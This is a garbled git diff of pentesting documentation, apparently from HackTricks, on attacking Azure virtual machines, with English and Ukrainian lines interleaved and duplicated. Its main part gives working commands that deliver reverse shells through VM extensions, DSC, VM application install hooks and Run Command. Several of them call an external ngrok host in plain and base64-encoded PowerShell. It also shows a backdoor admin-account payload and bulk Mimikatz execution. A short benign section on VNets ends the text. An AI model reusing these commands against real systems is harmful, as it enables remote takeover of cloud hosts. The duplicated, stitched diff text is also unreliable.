--settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/8ce279967be0855cc13aa2601402fed3/raw/72816c3603243cf2839a7c4283e43ef4b6048263/hacktricks_touch.sh"]}' \
--protected-settings '{"commandToExecute": "sh hacktricks_touch.sh"}'
--resource-group rsc-group> \
--vm-name <vm-name> \
--name CustomScript \
--publisher Microsoft.Azure.Extensions \
--version 2.1 \
--settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/8ce279967be0855cc13aa2601402fed3/raw/72816c3603243cf2839a7c4283e43ef4b6048263/hacktricks_touch.sh"]}' \
--protected-settings '{"commandToExecute": "sh hacktricks_touch.sh"}'
```
{{#endtab }}
{{#tab name="Windows" }}
- Execute a reverse shell
- Виконати реверс-шелл
```bash
# Get encoded reverse shell
echo -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64
# Execute it
az vm extension set \
--resource-group <rsc-group> \
--vm-name <vm-name> \
--name CustomScriptExtension \
--publisher Microsoft.Compute \
--version 1.10 \
--settings '{}' \
--protected-settings '{"commandToExecute": "powershell.exe -EncodedCommand JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="}'
--resource-group <rsc-group> \
--vm-name <vm-name> \
--name CustomScriptExtension \
--publisher Microsoft.Compute \
--version 1.10 \
--settings '{}' \
--protected-settings '{"commandToExecute": "powershell.exe -EncodedCommand JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="}'
```
- Execute reverse shell from file
- Виконати реверс-шел з файлу
```bash
az vm extension set \
--resource-group <rsc-group> \
--vm-name <vm-name> \
--name CustomScriptExtension \
--publisher Microsoft.Compute \
--version 1.10 \
--settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/33b6d1a80421694e85d96b2a63fd1924/raw/d0ef31f62aaafaabfa6235291e3e931e20b0fc6f/ps1_rev_shell.ps1"]}' \
--protected-settings '{"commandToExecute": "powershell.exe -ExecutionPolicy Bypass -File ps1_rev_shell.ps1"}'
--resource-group <rsc-group> \
--vm-name <vm-name> \
--name CustomScriptExtension \
--publisher Microsoft.Compute \
--version 1.10 \
--settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/33b6d1a80421694e85d96b2a63fd1924/raw/d0ef31f62aaafaabfa6235291e3e931e20b0fc6f/ps1_rev_shell.ps1"]}' \
--protected-settings '{"commandToExecute": "powershell.exe -ExecutionPolicy Bypass -File ps1_rev_shell.ps1"}'
```
Ви також можете виконати інші корисні навантаження, такі як: `powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add`
You could also execute other payloads like: `powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add`
- Reset password using the VMAccess extension
- Скидання пароля за допомогою розширення VMAccess
```powershell
# Run VMAccess extension to reset the password
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
```
{{#endtab }}
{{#endtabs }}
### Relevant VM extensions
### Відповідні розширення ВМ
The required permission is still **`Microsoft.Compute/virtualMachines/extensions/write`**.
Необхідний дозвіл все ще **`Microsoft.Compute/virtualMachines/extensions/write`**.
<details>
<summary>VMAccess extension</summary>
This extension allows to modify the password (or create if it doesn't exist) of users inside Windows VMs.
<summary>Розширення VMAccess</summary>
Це розширення дозволяє змінювати пароль (або створювати, якщо він не існує) користувачів всередині Windows ВМ.
```powershell
# Run VMAccess extension to reset the password
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
```
</details>
<details>
<summary>DesiredConfigurationState (DSC)</summary>
This is a **VM extensio**n that belongs to Microsoft that uses PowerShell DSC to manage the configuration of Azure Windows VMs. Therefore, it can be used to **execute arbitrary commands** in Windows VMs through this extension:
Це **розширення ВМ**, яке належить Microsoft і використовує PowerShell DSC для управління конфігурацією Azure Windows ВМ. Тому його можна використовувати для **виконання довільних команд** у Windows ВМ через це розширення:
```powershell
# Content of revShell.ps1
Configuration RevShellConfig {
Node localhost {
Script ReverseShell {
GetScript = { @{} }
SetScript = {
$client = New-Object System.Net.Sockets.TCPClient('attacker-ip',attacker-port);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte, 0, $sendbyte.Length)
}
$client.Close()
}
TestScript = { return $false }
}
}
Node localhost {
Script ReverseShell {
GetScript = { @{} }
SetScript = {
$client = New-Object System.Net.Sockets.TCPClient('attacker-ip',attacker-port);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte, 0, $sendbyte.Length)
}
$client.Close()
}
TestScript = { return $false }
}
}
}
RevShellConfig -OutputPath .\Output
@@ -612,37 +581,35 @@ RevShellConfig -OutputPath .\Output
$resourceGroup = 'dscVmDemo'
$storageName = 'demostorage'
Publish-AzVMDscConfiguration `
-ConfigurationPath .\revShell.ps1 `
-ResourceGroupName $resourceGroup `
-StorageAccountName $storageName `
-Force
-ConfigurationPath .\revShell.ps1 `
-ResourceGroupName $resourceGroup `
-StorageAccountName $storageName `
-Force
# Apply DSC to VM and execute rev shell
$vmName = 'myVM'
Set-AzVMDscExtension `
-Version '2.76' `
-ResourceGroupName $resourceGroup `
-VMName $vmName `
-ArchiveStorageAccountName $storageName `
-ArchiveBlobName 'revShell.ps1.zip' `
-AutoUpdate `
-ConfigurationName 'RevShellConfig'
-Version '2.76' `
-ResourceGroupName $resourceGroup `
-VMName $vmName `
-ArchiveStorageAccountName $storageName `
-ArchiveBlobName 'revShell.ps1.zip' `
-AutoUpdate `
-ConfigurationName 'RevShellConfig'
```
</details>
<details>
<summary>Hybrid Runbook Worker</summary>
<summary>Гібридний робочий процес</summary>
This is a VM extension that would allow to execute runbooks in VMs from an automation account. For more information check the [Automation Accounts service](../az-automation-account/).
Це розширення ВМ, яке дозволяє виконувати робочі процеси у ВМ з облікового запису автоматизації. Для отримання додаткової інформації перегляньте службу [Облікові записи автоматизації](../az-automation-account/).
</details>
### VM Applications
These are packages with all the **application data and install and uninstall scripts** that can be used to easily add and remove application in VMs.
### Застосунки ВМ
Це пакети з усіма **даними програми та скриптами для встановлення та видалення**, які можна використовувати для легкого додавання та видалення програм у ВМ.
```bash
# List all galleries in resource group
az sig list --resource-group <res-group> --output table
@@ -650,20 +617,19 @@ az sig list --resource-group <res-group> --output table
# List all apps in a fallery
az sig gallery-application list --gallery-name <gallery-name> --resource-group <res-group> --output table
```
These are the paths were the applications get downloaded inside the file system:
Це шляхи, де програми завантажуються всередині файлової системи:
- Linux: `/var/lib/waagent/Microsoft.CPlat.Core.VMApplicationManagerLinux/<appname>/<app version>`
- Windows: `C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.9\Downloads\<appname>\<app version>`
Check how to install new applications in [https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli](https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli)
Перевірте, як встановити нові програми в [https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli](https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli)
> [!CAUTION]
> It's possible to **share individual apps and galleries with other subscriptions or tenants**. Which is very interesting because it could allow an attacker to backdoor an application and pivot to other subscriptions and tenants.
> Можливо **поділитися окремими додатками та галереями з іншими підписками або орендарями**. Що дуже цікаво, оскільки це може дозволити зловмиснику створити бекдор для програми та перейти до інших підписок і орендарів.
But there **isn't a "marketplace" for vm apps** like there is for extensions.
Але **немає "маркетплейсу" для vm додатків**, як це є для розширень.
The permissions required are:
Необхідні дозволи:
- `Microsoft.Compute/galleries/applications/write`
- `Microsoft.Compute/galleries/applications/versions/write`
@@ -671,62 +637,59 @@ The permissions required are:
- `Microsoft.Network/networkInterfaces/join/action`
- `Microsoft.Compute/disks/write`
Exploitation example to execute arbitrary commands:
Приклад експлуатації для виконання довільних команд:
{{#tabs }}
{{#tab name="Linux" }}
```bash
# Create gallery (if the isn't any)
az sig create --resource-group myResourceGroup \
--gallery-name myGallery --location "West US 2"
--gallery-name myGallery --location "West US 2"
# Create application container
az sig gallery-application create \
--application-name myReverseShellApp \
--gallery-name myGallery \
--resource-group <rsc-group> \
--os-type Linux \
--location "West US 2"
--application-name myReverseShellApp \
--gallery-name myGallery \
--resource-group <rsc-group> \
--os-type Linux \
--location "West US 2"
# Create app version with the rev shell
## In Package file link just add any link to a blobl storage file
az sig gallery-application version create \
--version-name 1.0.2 \
--application-name myReverseShellApp \
--gallery-name myGallery \
--location "West US 2" \
--resource-group <rsc-group> \
--package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \
--install-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
--remove-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
--update-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'"
--version-name 1.0.2 \
--application-name myReverseShellApp \
--gallery-name myGallery \
--location "West US 2" \
--resource-group <rsc-group> \
--package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \
--install-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
--remove-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
--update-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'"
# Install the app in a VM to execute the rev shell
## Use the ID given in the previous output
az vm application set \
--resource-group <rsc-group> \
--name <vm-name> \
--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellApp/versions/1.0.2 \
--treat-deployment-as-failure true
--resource-group <rsc-group> \
--name <vm-name> \
--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellApp/versions/1.0.2 \
--treat-deployment-as-failure true
```
{{#endtab }}
{{#tab name="Windows" }}
```bash
# Create gallery (if the isn't any)
az sig create --resource-group <rsc-group> \
--gallery-name myGallery --location "West US 2"
--gallery-name myGallery --location "West US 2"
# Create application container
az sig gallery-application create \
--application-name myReverseShellAppWin \
--gallery-name myGallery \
--resource-group <rsc-group> \
--os-type Windows \
--location "West US 2"
--application-name myReverseShellAppWin \
--gallery-name myGallery \
--resource-group <rsc-group> \
--os-type Windows \
--location "West US 2"
# Get encoded reverse shell
echo -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64
@@ -735,79 +698,73 @@ echo -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",1
## In Package file link just add any link to a blobl storage file
export encodedCommand="JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="
az sig gallery-application version create \
--version-name 1.0.0 \
--application-name myReverseShellAppWin \
--gallery-name myGallery \
--location "West US 2" \
--resource-group <rsc-group> \
--package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \
--install-command "powershell.exe -EncodedCommand $encodedCommand" \
--remove-command "powershell.exe -EncodedCommand $encodedCommand" \
--update-command "powershell.exe -EncodedCommand $encodedCommand"
--version-name 1.0.0 \
--application-name myReverseShellAppWin \
--gallery-name myGallery \
--location "West US 2" \
--resource-group <rsc-group> \
--package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \
--install-command "powershell.exe -EncodedCommand $encodedCommand" \
--remove-command "powershell.exe -EncodedCommand $encodedCommand" \
--update-command "powershell.exe -EncodedCommand $encodedCommand"
# Install the app in a VM to execute the rev shell
## Use the ID given in the previous output
az vm application set \
--resource-group <rsc-group> \
--name deleteme-win4 \
--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellAppWin/versions/1.0.0 \
--treat-deployment-as-failure true
--resource-group <rsc-group> \
--name deleteme-win4 \
--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellAppWin/versions/1.0.0 \
--treat-deployment-as-failure true
```
{{#endtab }}
{{#endtabs }}
### User data
### Дані користувача
This is **persistent data** that can be retrieved from the metadata endpoint at any time. Note in Azure user data is different from AWS and GCP because **if you place a script here it's not executed by default**.
Це **постійні дані**, які можна отримати з кінцевої точки метаданих у будь-який час. Зверніть увагу, що в Azure дані користувача відрізняються від AWS та GCP, оскільки **якщо ви помістите скрипт сюди, він не виконується за замовчуванням**.
### Custom data
### Користувацькі дані
It's possible to pass some data to the VM that will be stored in expected paths:
- In **Windows** custom data is placed in `%SYSTEMDRIVE%\AzureData\CustomData.bin` as a binary file and it isn't processed.
- In **Linux** it was stored in `/var/lib/waagent/ovf-env.xml` and now it's stored in `/var/lib/waagent/CustomData/ovf-env.xml`
- **Linux agent**: It doesn't process custom data by default, a custom image with the data enabled is needed
- **cloud-init:** By default it processes custom data and this data may be in [**several formats**](https://cloudinit.readthedocs.io/en/latest/explanation/format.html). It could execute a script easily sending just the script in the custom data.
- I tried that both Ubuntu and Debian execute the script you put here.
- It's also not needed to enable user data for this to be executed.
Можна передати деякі дані в VM, які будуть зберігатися в очікуваних шляхах:
- У **Windows** користувацькі дані розміщуються в `%SYSTEMDRIVE%\AzureData\CustomData.bin` як бінарний файл, і вони не обробляються.
- У **Linux** вони зберігалися в `/var/lib/waagent/ovf-env.xml`, а тепер зберігаються в `/var/lib/waagent/CustomData/ovf-env.xml`
- **Агент Linux**: За замовчуванням не обробляє користувацькі дані, потрібен користувацький образ з увімкненими даними
- **cloud-init:** За замовчуванням обробляє користувацькі дані, і ці дані можуть бути в [**декількох форматах**](https://cloudinit.readthedocs.io/en/latest/explanation/format.html). Він може легко виконати скрипт, просто надіславши його в користувацьких даних.
- Я спробував, щоб і Ubuntu, і Debian виконували скрипт, який ви помістили сюди.
- Також не потрібно активувати дані користувача для виконання цього.
```bash
#!/bin/sh
echo "Hello World" > /var/tmp/output.txt
```
### **Запустити команду**
### **Run Command**
This is the most basic mechanism Azure provides to **execute arbitrary commands in VMs**. The needed permission is `Microsoft.Compute/virtualMachines/runCommand/action`.
Це найосновніший механізм, який Azure надає для **виконання довільних команд у ВМ**. Необхідне дозволення - `Microsoft.Compute/virtualMachines/runCommand/action`.
{{#tabs }}
{{#tab name="Linux" }}
```bash
# Execute rev shell
az vm run-command invoke \
--resource-group <rsc-group> \
--name <vm-name> \
--command-id RunShellScript \
--scripts @revshell.sh
--resource-group <rsc-group> \
--name <vm-name> \
--command-id RunShellScript \
--scripts @revshell.sh
# revshell.sh file content
echo "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" > revshell.sh
```
{{#endtab }}
{{#tab name="Windows" }}
```bash
# The permission allowing this is Microsoft.Compute/virtualMachines/runCommand/action
# Execute a rev shell
az vm run-command invoke \
--resource-group Research \
--name juastavm \
--command-id RunPowerShellScript \
--scripts @revshell.ps1
--resource-group Research \
--name juastavm \
--command-id RunPowerShellScript \
--scripts @revshell.ps1
## Get encoded reverse shell
echo -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64
@@ -824,42 +781,37 @@ echo "powershell.exe -EncodedCommand $encodedCommand" > revshell.ps1
Import-module MicroBurst.psm1
Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt
```
{{#endtab }}
{{#endtabs }}
## Privilege Escalation
## Підвищення Привілеїв
{{#ref}}
../../az-privilege-escalation/az-virtual-machines-and-network-privesc.md
{{#endref}}
## Unauthenticated Access
## Неавтентифікований Доступ
{{#ref}}
../../az-unauthenticated-enum-and-initial-entry/az-vms-unath.md
{{#endref}}
## Post Exploitation
## Після Експлуатації
{{#ref}}
../../az-post-exploitation/az-vms-and-network-post-exploitation.md
{{#endref}}
## Persistence
## Постійність
{{#ref}}
../../az-persistence/az-vms-persistence.md
{{#endref}}
## References
## Посилання
- [https://learn.microsoft.com/en-us/azure/virtual-machines/overview](https://learn.microsoft.com/en-us/azure/virtual-machines/overview)
- [https://hausec.com/2022/05/04/azure-virtual-machine-execution-techniques/](https://hausec.com/2022/05/04/azure-virtual-machine-execution-techniques/)
- [https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service](https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service)
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -4,29 +4,28 @@
## Basic Information
Azure provides **virtual networks (VNet)** that allows users to create **isolated** **networks** within the Azure cloud. Within these VNets, resources such as virtual machines, applications, databases... can be securely hosted and managed. The networking in Azure supports both the communication within the cloud (between Azure services) and the connection to external networks and the internet.\
Moreover, it's possible to **connect** VNets with other VNets and with on-premise networks.
Azure надає **віртуальні мережі (VNet)**, які дозволяють користувачам створювати **ізольовані** **мережі** в межах хмари Azure. У межах цих VNets ресурси, такі як віртуальні машини, додатки, бази даних... можуть бути безпечно розміщені та керовані. Мережеве з'єднання в Azure підтримує як комунікацію в межах хмари (між службами Azure), так і з'єднання з зовнішніми мережами та інтернетом.\
Більше того, можливо **підключати** VNets з іншими VNets та з локальними мережами.
## Virtual Network (VNET) & Subnets
An Azure Virtual Network (VNet) is a representation of your own network in the cloud, providing **logical isolation** within the Azure environment dedicated to your subscription. VNets allow you to provision and manage virtual private networks (VPNs) in Azure, hosting resources like Virtual Machines (VMs), databases, and application services. They offer **full control over network settings**, including IP address ranges, subnet creation, route tables, and network gateways.
Віртуальна мережа Azure (VNet) є уявленням вашої власної мережі в хмарі, що забезпечує **логічну ізоляцію** в середовищі Azure, присвяченому вашій підписці. VNets дозволяють вам надавати та керувати віртуальними приватними мережами (VPN) в Azure, розміщуючи ресурси, такі як віртуальні машини (VM), бази даних та служби додатків. Вони пропонують **повний контроль над налаштуваннями мережі**, включаючи діапазони IP-адрес, створення підмереж, таблиці маршрутів та мережеві шлюзи.
**Subnets** are subdivisions within a VNet, defined by specific **IP address ranges**. By segmenting a VNet into multiple subnets, you can organize and secure resources according to your network architecture.\
By default all subnets within the same Azure Virtual Network (VNet) **can communicate with each other** without any restrictions.
**Підмережі** є підрозділами в межах VNet, визначеними конкретними **діапазонами IP-адрес**. Сегментуючи VNet на кілька підмереж, ви можете організувати та захистити ресурси відповідно до вашої мережевої архітектури.\
За замовчуванням всі підмережі в межах однієї віртуальної мережі Azure (VNet) **можуть спілкуватися одна з одною** без будь-яких обмежень.
**Example:**
**Приклад:**
- `MyVNet` with an IP address range of 10.0.0.0/16.
- **Subnet-1:** 10.0.0.0/24 for web servers.
- **Subnet-2:** 10.0.1.0/24 for database servers.
- `MyVNet` з діапазоном IP-адрес 10.0.0.0/16.
- **Підмережа-1:** 10.0.0.0/24 для веб-серверів.
- **Підмережа-2:** 10.0.1.0/24 для серверів бази даних.
